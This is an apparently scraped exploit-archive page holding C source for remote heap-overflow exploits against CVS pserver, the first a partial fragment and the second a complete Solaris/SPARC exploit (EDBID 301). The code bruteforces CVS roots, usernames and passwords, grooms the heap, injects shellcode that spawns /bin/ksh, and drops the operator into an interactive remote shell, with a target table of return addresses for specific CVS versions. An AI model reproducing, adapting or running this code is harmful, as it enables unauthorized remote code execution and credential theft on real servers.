    static char         dbuf[4096];
    int                 got;

  retry:
    if (outpos < outlen && outlen)
        return outbuf[outpos++];
    free(outbuf);
    outlen = 0;
    outbuf = NULL;
    got = read_sock(rcvbuf, sizeof(rcvbuf));
    if (got <= 0)
        QUIT(ERR_READSOCK);
    zin.next_in = rcvbuf;
    zin.avail_in = got;
    while (1)
        {
            int status, dlen;

            zin.next_out = dbuf;
            zin.avail_out = sizeof(dbuf);
            status = inflate(&zin, Z_PARTIAL_FLUSH);
            switch (status)
                {
                case Z_OK:
                    outpos = 0;
                    dlen = sizeof(dbuf) - zin.avail_out;
                    outlen += dlen;
                    outbuf = realloc(outbuf, outlen);
                    memcpy(outbuf + outlen - dlen, dbuf, dlen);
                    break;
                case Z_BUF_ERROR:
                    goto retry;
                default:
                    QUIT(ERR_INFLATE);
                }
        }
}

char                    * zgets(void)
{
    static char         buf[32768];
    char                * p = buf;
    int                 c;

    while (1)
        {
            c = zgetch();
            if (c == '\n')
                break;
            *p++ = c;
            if (p > buf + sizeof(buf))
                {
                    p--;
                    break;
                }
        }
    *p = 0;
    return (buf);
}

void                    start_gzip(void)
{
    nprintf(CVS_GZIP"1\n");
    deflateInit(&zout, 9);
    inflateInit(&zin);
    return;
}

void                    fill_holes(void)
{
    int i, j;

    for (i = 0; i < 10; i++)
        nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
    for (i = 0; i < 10; i++)
        nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
    for (i = 0; i < NHOLES; i++)
        {
            nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
            for (j = 0; j < 5; j++)
                nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11);
        }
    nprintf("Set x=%472X\n", 10);
    return;
}

void                    evil_entry(void)
{
    int                 i;
    ulong               heap = heapbase;

    nprintf("Set x=\n");
    nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24));
}

void                    try_exploit(void)
{
    time_t              last, now;
    int                 i, j, len, o;
    static char         sc[SCSIZE+1];

    for (i = 0; i < OFFSET; i++)
        zprintf(CVS_ISMOD"AB\n");
    printf("[", SCSIZE * scnum / 1024);
    for (i = 0; i < PCNT; i++)
        putchar(' ');
    printf("]");
    for (i = 0; i < PCNT + 1; i++)
        printf("\b");
    memset(sc, 'A', SCSIZE);
    memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
           sizeof(xx_shellcode));
    sc[SCSIZE] = 0;
    last = o = 0;
    for (i = 0; i < scnum; i++)
        {
            now = time(NULL);
            if (now > last || (i + 1 == scnum))
                {
                    last = now;
                    for (j = 0; j < o; j++)
                        printf("\b");
                    for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
                        printf("#");
                }
            zprintf(CVSENTRY"%s\n", sc);
        }
    printf("] ");
    zflush(0);
    zflush(1);
    len = read_sock(sc, sizeof(sc));
    for (i = 0; i < len; i++)
        if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ))
            {
                printf(EXPLOITROX);
                sh(sock);
            }
    printf(BAD_TRIP);
}

int                     brute_cvsroot(void)
{
    int                 i, ret = 0;
    char                * rbuf;

    info("Bruteforcing cvsroot...\n");
    for (i = 0; CVSROOTS[i].name; i++)
        {
            nopen(host, port);
            nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY));
            info("Trying CVSROOT = %s\t", CVSROOTS[i].name);
            rbuf = flush_sock();
            nclose();
            if (!rbuf || strstr(rbuf, CVS_BAD_REP))
                info(BAD_TRIP);
            else if (strstr(rbuf, CVS_AUTH_FAILED) ||
                     strstr(rbuf, CVS_AUTH_SUCCESS) ||
                     strstr(rbuf, CVS_NO_USER))
                {
                    info(GOOD_TRIP);
                    CVSROOTS[i].id = i;
                    root = CVSROOTS[i].name;
                    if (user && pass)
                        {
                            free(rbuf);
                            return (1);
                        }
                    ret++;
                }
            else
                printf(BAD_TRIP);
            free(rbuf);
        }
    return (ret);
}

int                     brute_username(void)
{
    int                 i, c, ret = 0;
    char                * rbuf;

    info("Bruteforcing cvs login... \n");
    for (c = 0; CVSROOTS[c].name; c++)
        {
            if (!root && CVSROOTS[c].id == -1) continue;
            for ( i=0; USERNAMES[i].name; i++ )
                {
                    if (root)
                        CVSROOTS[c].name = root;
                    info("Trying cvsroot = %s, login = %s\t", CVSROOTS[c].name,
                         USERNAMES[i].name);
                    nopen(host, port);
                    nprintf(CVS_VERIF, CVSROOTS[c].name, USERNAMES[i].name,
                            scramble(DUMMY));
                    rbuf = flush_sock();
                    nclose();
                    if ( strstr( rbuf, CVS_NO_USER))
                        info( BAD_TRIP, rbuf );
                    else if (strstr( rbuf, CVS_AUTH_FAILED) ||
                        strstr(rbuf, CVS_AUTH_SUCCESS))
                        {
                            info(GOOD_TRIP);
                            USERNAMES[i].id = CVSROOTS[c].id;
                            user = USERNAMES[i].name;
                            if (pass)
                                {
                                    free(rbuf);
                                    return (1);
                                }
                            ret++;
                        }
                    free(rbuf);
                }
            if (root)
                return (ret);
        }
    return (ret);
}

int                     brute_password(void)
{
    int                 i, c, ret=0;
    char                * rbuf;

    info("Bruteforcing cvs password...\n");
    for (c = 0; USERNAMES[c].name; c++)
        {
            if (!user && USERNAMES[c].id == -1) continue;
            for (i = 0; PASSWORDS[i].name; i++)
                {
                    info("Trying login = %s, pass = %s\t", user?user:USERNAMES[c].name,
                         PASSWORDS[i].name);
                    nopen(host, port);
                    nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name,
                            user?user:USERNAMES[c].name, scramble(PASSWORDS[i].name) );
                    rbuf = flush_sock();
                    nclose();
                    if (strstr(rbuf, CVS_AUTH_FAILED))
                        info(BAD_TRIP, rbuf);
                    else if (strstr(rbuf, CVS_AUTH_SUCCESS))
                        {
                            info(GOOD_TRIP);
                            if (!root)
                                root = CVSROOTS[ USERNAMES[c].id ].name;
                            if (!user)
                                user = USERNAMES[c].name;
                            pass = PASSWORDS[i].name;
                            free(rbuf);
                            printf(SUCCESS_LOGON, user, pass, root);
                            return (1);
                        }
                    else
                        info(BAD_TRIP);
                    free(rbuf);
                }
            if (user)
                return (0);
        }
    return (0);
}

void                    hdl_crashed(int signum)
{
    return;
}

int                     write_sock(void * buf, int sz)
{
    fd_set              wfds;
    struct timeval      tv;
    int                 ret;

    if (sz <= 0)
        return (sz);
    FD_ZERO(&wfds);
    FD_SET(sock, &wfds);
    bzero(&tv, sizeof (tv));
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    while (select(sock + 1, NULL, &wfds, NULL, &tv) <= 0)
        {
            FD_ZERO(&wfds);
            FD_SET(sock, &wfds);
            tv.tv_sec = timeout;
            tv.tv_usec = 0;
        }
    if ((ret = write(sock, buf, sz)) != sz)
        QUIT(ERR_WRITESOCK);
    return (ret);
}

int                     read_sock(void * buf, int sz)
{
    fd_set              rd;
    struct timeval      tv;
    int                 ret;

    FD_ZERO(&rd);
    FD_SET(sock, &rd);
    bzero(&tv, sizeof (tv));
    tv.tv_sec = timeout;
    tv.tv_usec = ret = 0;
    if (select(sock + 1, &rd, NULL, NULL, &tv) <= 0)
        QUIT(ERR_READSOCK);
    if ((ret = read(sock, buf, sz)) <= 0)
    return (ret);
}

char                    * flush_sock(void)
{
    char        * ret;
    int         len, y, i = 0;
    fd_set              rfds;
    struct timeval      tv;

    FD_ZERO(&rfds);
    FD_SET(sock, &rfds);
    bzero(&tv, sizeof (tv));
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
#define BUF_SIZE        42
    ret = malloc((len = BUF_SIZE));
    if (select(sock + 1, &rfds, NULL, NULL, &tv) < 0)
        return ("");
    while ((y = read(sock, ret + i, BUF_SIZE)) > 0)
        {
            i += y;
            ret = realloc(ret, (len += BUF_SIZE));
        }
    if (i == len)
        realloc(ret, len + 1);
    ret[i] = 0;
    return (ret);
}

long                    getip(char * hostname)
{
    struct hostent * p_hostent;
    long ipaddr;

    ipaddr = inet_addr( hostname );
    if (ipaddr  < 0)
        {
            p_hostent = gethostbyname(hostname);
            if (p_hostent == NULL)
                QUIT(ERR_GETIP);
            memcpy( &ipaddr, p_hostent->h_addr, p_hostent->h_length );
        }
    return(ipaddr);
}

int                     connect_to_host(char * host, int port)
{
    struct sockaddr_in  s_in;

    memset( &s_in, '\0', sizeof(struct sockaddr_in) );
    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = getip( host );
    s_in.sin_port = htons( port );
    if ((sock = socket( AF_INET, SOCK_STREAM, 0 )) <= 0)
        QUIT(ERR_CONN);
    if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)))
        QUIT (ERR_CONN);
#ifdef  SHITTEST
            sleep(15);
#endif
    fcntl(sock, F_SETFL, O_NONBLOCK);
    return (sock);
}

void                    nopen(char * host, int port)
{
    connect_to_host(host, port);
    cur_num = 0;
    return;
}

void                    nclose(void)
{
    cur_num = 0;
    close(sock);
    return;
}

unsigned char shifts[] = {
   0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
  41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
  36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
  58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };

char                    * scramble(char * str)
{
    int                 i;
    char                * s;

    if (is_scramble)
        return (str);
    s = (char *) malloc (strlen (str) + 3);
    memset(s, '\0', strlen(str) + 3);
    *s = 'A';
    for (i = 1; str[i - 1]; i++)
        s[i] = shifts[(unsigned char)(str[i - 1])];
    return (s);
}

int                     sh(int sockfd)
{
    int                 cnt;
    char                buf[1024];
    fd_set              fds;

    write(sockfd, CMD, strlen(CMD));
    while(1)
        {
            FD_ZERO(&fds);
            FD_SET(0, &fds);
            FD_SET(sockfd, &fds);
            if(select(FD_SETSIZE, &fds, NULL, NULL, NULL))
                {
                    if(FD_ISSET(0, &fds))
                        {
                            if((cnt = read(0, buf, 1024)) < 1)
                                {
                                    if(errno == EWOULDBLOCK || errno == EAGAIN)
                                        continue;
                                    else
                                        break;
                                }
                            write(sockfd, buf, cnt);
                        }
                    if(FD_ISSET(sockfd, &fds))
                        {
                            if((cnt = read(sockfd, buf, 1024)) < 1)
                                {
                                    if(errno == EWOULDBLOCK || errno == EAGAIN)
                                        continue;
                                    else
                                        break;
                                }
                            write(1, buf, cnt);
                        }
                }
        }
    exit(0);
}


// milw0rm.com [2004-06-25]
		

- 漏洞信息 (301)

CVS Remote Entry Line Root Heap Overflow Exploit (EDBID:301)
solaris remote
2004-06-25 Verified
2401 n/a
N/A [点击下载]
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <fcntl.h>
#include <zlib.h>

#define CVS_PORT 2401
#define RET 0xffbffd20
#define NOP 0x82102017
#define ROUND(s)    if (s % word_size) s += (word_size - (s % word_size))

unsigned char *root;
unsigned char *user;
unsigned char *pass;
unsigned char *scrambled;
unsigned char *reposit;
unsigned char *directory;
unsigned char buf[512];
unsigned char *host;
unsigned int  rport, port;
unsigned int target;
z_stream zout;
z_stream zin;
unsigned char zbuf[65536 * 4];
unsigned int zbufpos, zsent = 0;
unsigned int word_size = 8, fill_size;
unsigned int len1, len2, len3;
unsigned int oflip, change, retaddr;

char entry1[64], entry2[64], entry3[64];

struct expl {
        char            *name;
                unsigned int    retadd;
} serve[] = { 
{ "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8},
{ "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192},
{ "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8},
{ "Crash server", 0x41414141}, 
{ "Crash server 2", 0x77777777}, 
{ "Stack ret test", 0xffbffd20},
{ "Heap ret test", 0x00031337}, 
{ NULL, 0}
};

char shellcode[]=
    "\x21\x18\xd8\x58"     // sethi  %hi(0x63616000), %l0
    "\xa0\x14\x23\x61"     // or  %l0, 0x361, %l0
    "\x90\x10\x20\x01"     // mov  1, %o0
    "\x92\x0b\x80\x0e"     // and  %sp, %sp, %o1
    "\x94\x10\x20\x04"     // mov  4, %o2
    "\x82\x10\x20\x04"     // mov  4, %g1
    "\x91\xd0\x20\x08"     // ta  8
/* lsd shellcode. */ 
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>          */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>        */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh";

char *scramble(char * str);

void handler(int sig)
{
    signal(SIGPIPE, handler);
}

/*   
 * This function reads from socket s until either max bytes are read, 
 * a newline is read, or timeout seconds elapse with no data over the 
 * socket.
 *   return values:
 *     -2: timeout
 *     -1: error
 *     0: connection closed
 *     x: normal success, x bytes read
 */
int timeout_read(int s, char *buf, int max, int timeout)
{
    int total = 0;
    int r = 0;
    int s_flags;
    char c;
    struct timeval to;
    fd_set rset;
    
    memset(&to, '\0', sizeof(to));
    to.tv_sec = timeout;
    to.tv_usec = 0;
    
    s_flags = fcntl(s, F_GETFL, 0);
    fcntl(s, F_SETFL, s_flags | O_NONBLOCK);

    while(total < max)
    {
FD_ZERO(&rset);
FD_SET(s, &rset);
select(s + 1, &rset, NULL, NULL, &to);

if (FD_ISSET(s, &rset))
{
    r = read(s, &c, 1);
    total += r;

    if(r == -1)
    {
if (errno != EWOULDBLOCK)
{
    fcntl(s, F_SETFL, s_flags);
    return -1;
}
else
    continue;
    }
    else if(r == 0)
    {
fcntl(s, F_SETFL, s_flags);
return 0;
    }
    else /* r == 1 */
    {
buf[total-1] = c;
if(c == '\n')
    break;
    }
    
}
else
{
    fcntl(s, F_SETFL, s_flags);
    return -2;
}
    }
    
    fcntl(s, F_SETFL, s_flags);
    return total; 
}

void zflush(int sockfd)
{
    static char         outbuf[65536];

    zout.next_in = zbuf;
    zout.avail_in = zbufpos;

    do {
        zout.next_out = outbuf;
        zout.avail_out = sizeof(outbuf);
        if(deflate(&zout, Z_PARTIAL_FLUSH) == -1)
        {
printf("[--] Compression error.\n");
exit(1);
}
        zsent += sizeof(outbuf) - zout.avail_out;
        write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out);
    } while (zout.avail_in != 0);

    zbufpos = 0;

    return;
}

int zwrite(char *buf, int len, int sockfd)
{
    if ((sizeof(zbuf) - zbufpos) < (len))
        zflush(sockfd);

    memcpy(zbuf + zbufpos, buf, len);
    zbufpos += len;

    if (zbufpos >= sizeof(zbuf))
    {
printf("[--] zwrite compression error.\n");
exit(1);
    }

    return (len);
}

int zgetch(int sockfd)
{
    static char         * outbuf = NULL;
    static int          outpos = 0, outlen = 0;
    static char         rcvbuf[32768];
    static char         dbuf[4096];
    int                 got;

  retry:
    if (outpos < outlen && outlen)
        return outbuf[outpos++];
    free(outbuf);
    outlen = 0;
    outbuf = NULL;
    got = read(sockfd, rcvbuf, sizeof(rcvbuf));
    if (got <= 0)
    {
printf("[--] Socket error.\n");
exit(1);
    }
    zin.next_in = rcvbuf;
    zin.avail_in = got;
    while (1)
        {
           int status, dlen;

            zin.next_out = dbuf;
            zin.avail_out = sizeof(dbuf);
            status = inflate(&zin, Z_PARTIAL_FLUSH);
            switch (status)
                {
                case Z_OK:
                    outpos = 0;
                    dlen = sizeof(dbuf) - zin.avail_out;
                    outlen += dlen;
                    outbuf = realloc(outbuf, outlen);
                    memcpy(outbuf + outlen - dlen, dbuf, dlen);
                    break;
                case Z_BUF_ERROR:
                    goto retry;
                default:
                    printf("[--] Revc inflate error.\n");
                }
        }
}

char *zgets(int sockfd)
{
    static char         buf[32768];
    char                * p = buf;
    int                 c;

    while (1)
        {
            c = zgetch(sockfd);
            if (c == '\n')
                break;
            *p++ = c;
            if (p > buf + sizeof(buf))
                {
                    p--;
                    break;
                }
        }
    *p = 0;
    return (buf);
}

int do_compression(int s)
{
char buf[3000];
int term = 0, i = 0;

deflateInit(&zout, 1);
        inflateInit(&zin);

memset(buf, 0x0, 300);
sprintf(buf, "Gzip-stream 1\n");

write(s, buf, strlen(buf));
}

int do_auth(int s)
{
char* str = malloc(50000);
        if(str == 0)
        {
            perror("malloc");
            exit(1);
        }
strcpy(str, "BEGIN AUTH REQUEST");
strncat(str, "\n", 1);
strncat(str, reposit, strlen(reposit));
strncat(str, "\n", 1);
strncat(str, user, strlen(user));
strncat(str, "\n", 1);
scrambled = scramble(pass);
strncat(str, scrambled, strlen(scrambled));
strncat(str, "\n", 1);
strncat(str, "END AUTH REQUEST", 16);
strncat(str, "\n", 1);
write(s, str, strlen(str)); 
free(str);

return 0;
}

int do_root(int s)
{
char* str = malloc(5000);

        bzero(str, 5000);
strncat(str, "Root ", 5);
strncat(str, root, strlen(root));
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);

return 0;
}

int do_sized_entry(int s, char *e1, char *e2, int size)
{
char *str = malloc(size * 2);
char *tmp = malloc(size); 
int x = 0;
int term = 0;

if(str == 0 || tmp == 0 || size < (strlen(e1) + strlen(e2) + 4))
{
return;
}

bzero(str, size*2);
bzero(tmp, size);
sprintf(tmp, "Entry /%s/%s/", e1, e2);
strcat(str, tmp);
term = strlen(str);

x = term; 
while(x < (size - 1))
             str[x++] = 0xff;

strcat(str, "\n");

str[term] = 0;

write(s, str, size);
free(str);

return(0);
}

int normalize_heap(int sockfd)
{
int i;
char buff[8192 + 128];

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n"); 
buff[72] = 0;

for( i = 0 ; i < 128 ; i++)
{
write(sockfd, buff, 8191);
} 

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9); 
strcat(buff, "\n");
buff[65] = 0; 

for(i = 0 ; i < 64 ; i++)
{
write(sockfd, buff, 8191);
}

memset(buff, 0x0, 8192 + 128);
        memset(buff, 0x62, 8190);
        memcpy(buff, "Argument ", 9);
        strcat(buff, "\n");   
buff[44] = 0;

for(i = 0 ; i < 32 ; i++)
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
        memset(buff, 0xff, 8193);
        memcpy(buff, "Argument ", 9);
        strcat(buff, "\n");   

write(sockfd, buff, 8194);
}

int correctly_fill_hole(int sockfd, int fill)
{
int chunk_size, chunk_size2;
int num_chunks;
int leftover, i = 0;
char buf[256];
char pad[1024];
char buff[2048];
unsigned long addr = RET;
char addrbuf[4096];

chunk_size = (1024 + word_size);
num_chunks = (fill / chunk_size);
leftover = (fill % chunk_size);

memset(pad, 0x0, 1024);
memset(pad, 0x88, ((1024 - 8) / 2));
memset(buff, 0x0, 2048);

        /* The exploit will almost certainly fail if leftover == 0
         * however in theory this should never actually happen.
         */
if(leftover == 0)
{
for(i = 0; i < num_chunks && fill > 0; i++)
{
          do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
  fill -= (1024 + word_size);
}
}
else
{
for(i = 0; i < (num_chunks -2) && fill > 0; i++)
{
          do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
  fill -= (1024 + word_size);
}
chunk_size2 = (chunk_size * 2 + leftover); 
ROUND(chunk_size2);
memset(buff, 0x0, 2048);
memset(buff, 0xff, (chunk_size2 - 8) / 2);
memset(addrbuf, 0x0, sizeof(addrbuf)); 
for(i = 0 ; i < (((chunk_size2 - 8) / 2) -4) ; i += 4) 
    *(int *)&addrbuf[i] = htonl(RET);

memcpy(buff+1, addrbuf, strlen(addrbuf)); 
do_sized_entry(sockfd, buff, buff, 4096);
}

memset(buff, 0x0, 2048);
memset(buff, 0xff, 34);

memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0; i < 28; i+=4)
    *(int *)&addrbuf[i] = htonl(RET);

memcpy(buff+7, addrbuf, strlen(addrbuf));

do_sized_entry(sockfd, buff, buff, 97);
}

int do_ismodified(int s, char *e1)
{ 
char *str = (char *) malloc(100000);
int x = 0, term = 0;

        bzero(str, 100000);

sprintf(str,"Is-modified %s\n", e1);

zwrite(str, strlen(str), s);
zflush(s); 

free(str);

return 0;
}

int do_argument(int sockfd)
{
char *exp;

exp = (char *) malloc(20000);

memset(exp, 0x0, 20000);
memset(exp, 0x69, 19680 + strlen("Argument "));

memcpy(exp, "Argument ", strlen("Argument "));

exp[19680 + strlen("Argument ")] = '\n';

write(sockfd, exp, strlen(exp));

return(0);
}

int do_resize(int sockfd)
{
char buffer[256];
int x = 0;
memset(buffer, 0x0, 256);
memset(buffer, 0xff, 255);

buffer[254] = '\n';

memcpy(buffer, "Argumentx ", strlen("Argumentx "));

buffer[74 + 44] = 0;

zwrite(buffer, 255, sockfd);
zflush(sockfd);
}

int do_overflow(int sockfd)
{
char buffer[20000];
int i = 0;

memset(buffer, 0x0, 20000);
memset(buffer, 0x42, 19782);

for(i = 0 ; i < 19780-8; i+=4)
   *(unsigned int *)&buffer[i] = htonl(retaddr);
 
for(i = 0; i < 19600; i+=4)
           *(unsigned int *)&buffer[i] = htonl(NOP); 
 
        memcpy(buffer+19000, shellcode, strlen(shellcode));

memcpy(buffer, "Argument ", strlen("Argument "));
buffer[19781] = '\012';

zwrite(buffer, 19782, sockfd);
zflush(sockfd);
}

int work_around_zlib_bug(int sockfd)
{
char buffer[4096];
char data[64];

memset(data, 0x0, 64);
memset(data, 0x42, 32);

memset(buffer, 0x0, 4096);
memset(buffer, 0x42, 4000);

sprintf(buffer, "Entry /%s/%s/", data, data);

buffer[2999] = '\n';

zwrite(buffer, 3000, sockfd);
zflush(sockfd);
} 

unsigned char auth_shifts[] ={
   0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
  41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
  36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
  58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };

char *scramble(char * str)
{
int i;
    char * s;
                
    s = (char *) malloc (strlen (str) + 3);
    memset(s, '\0', strlen(str) + 3);
    *s = 'A';
    for (i = 1; str[i - 1]; i++)
        s[i] = auth_shifts[(unsigned char)(str[i - 1])];
    return (s);
}

int usage(char *name)
{
printf("usage: %s [options]\n", name);
        printf("Options:\n");
        printf("  -t     Desired target\n");
        printf("  -r     CVS root\n");
        printf("  -u     CVS user\n");
        printf("  -p     Password\n");
        printf("  -h     Targeted host\n"); 
        printf("  -P     Port running CVS\n"); 
             
        printf("\nAvailable targets:\n"); 
        for (target = 0; serve[target].name != NULL; target++) 
        printf("[%i] - %s\n", target, serve[target].name); 
        exit(0);
}

int do_shell(int sockfd)
{
while(1)
         {
            fd_set fds;
            FD_ZERO(&fds);
            FD_SET(0,&fds);
            FD_SET(sockfd,&fds);
            if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
            {
               int cnt;
               char buf[1024];
               if(FD_ISSET(0,&fds))
               {
                  if((cnt=read(0,buf,1024))<1)
                  {
                     if(errno==EWOULDBLOCK||errno==EAGAIN)
                       continue;
                     else
                       break;
                  }
                  write(sockfd,buf,cnt);
               }
               if(FD_ISSET(sockfd,&fds))
               {
                  if((cnt=read(sockfd,buf,1024))<1)
                  {
                       if(errno==EWOULDBLOCK||errno==EAGAIN)
                         continue;
                       else
                         break;
                  }
                  write(1,buf,cnt);
               }
            }
         }               
}

int main(int argc, char *argv[])
{
int i, sockfd, len, result,x;
        char c;
struct sockaddr_in addr;
struct hostent *hostinfo;

if(argc == 1)
{
        usage(argv[0]);    
        }

port = CVS_PORT; 
        while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF)
        { 
        switch(c) 
                { 
                       case 't': 
                         target = atoi(optarg); 
                         break; 
                       case 'r': 
                         root = strdup(optarg); 
                         reposit = strdup(optarg); 
                         break; 
                       case 'u': 
                         user = strdup(optarg); 
                         break; 
                       case 'd': 
                         directory = strdup(optarg); 
                         break;
                       case 'p':
                         pass = strdup(optarg);
                         break;
                       case 'h':
                         host = strdup(optarg);
                         break;
                       default:
         usage(argv[0]);
       }                  
}

hostinfo = gethostbyname(host);
if(!hostinfo)
{
perror("gethostbyname()");
exit(0);
}

sockfd = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list;
len = sizeof(addr);

printf("Attacking %s running %s\n", host, serve[target].name);
printf("[");
fflush(stdout);

retaddr = serve[target].retadd;

    while(1)
    {
sockfd = socket(AF_INET, SOCK_STREAM, 0); 
result = connect(sockfd, (struct sockaddr *)&addr, len);
if(result == -1)
{
perror("connect()");
exit(0);
}

do_auth(sockfd);
timeout_read(sockfd, buf, sizeof(buf)-1, 3); 
do_root(sockfd);

normalize_heap(sockfd);

do_argument(sockfd);
        
        fill_size = 19680;

memset(entry1, 0x41, 60);
memset(entry2, 0x42, 60);
memset(entry3, 0x43, 60);

do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
        do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
        do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
     
correctly_fill_hole(sockfd, fill_size - (64 + word_size));
       
do_compression(sockfd);

len1 = ( 5 + 4 + 16); 
        len2 = ( 144 + 8 + 5 + 1);
len3 = ( 144 + 8 + 128 + 8 + 5 + 0);

for(i = 0; i < len1; i++)
            do_ismodified(sockfd, entry1);

for(i = 0; i < len2; i++)
            do_ismodified(sockfd, entry2);

for(i = 0; i < len3; i++)
            do_ismodified(sockfd, entry3);

work_around_zlib_bug(sockfd);

do_resize(sockfd);

        do_overflow(sockfd);

printf(".");
fflush(stdout);

while(1)
{
    result = timeout_read(sockfd, buf, 4, 5);
    if(result == -1 || result == 0)
    {
break;
    }
      if(result == -2)
    {
printf("\n Timeout... trying for shell\n"); 
do_shell(sockfd);
break;
    } 
/* Maybe use strstr and a larger read buffer here ? */
    if(strncmp(buf, "caca", 4) == 0)
    {
printf("]\n");
printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr);
do_shell(sockfd);
exit(0);
    }
}

change += 12000;

        if(oflip == 0)
        {
            retaddr = serve[target].retadd + change;
            oflip = 1;
        }
        else if(oflip == 1)
        {
            retaddr = serve[target].retadd - change;
            oflip = 0;
        }

close(sockfd);
    } 
}

// milw0rm.com [2004-06-25]
		

- 漏洞信息 (F34031)

freedom.c (PacketStormID:F34031)
2004-08-12 00:00:00
Gyan Chawdhary  
exploit,remote,overflow
linux,redhat
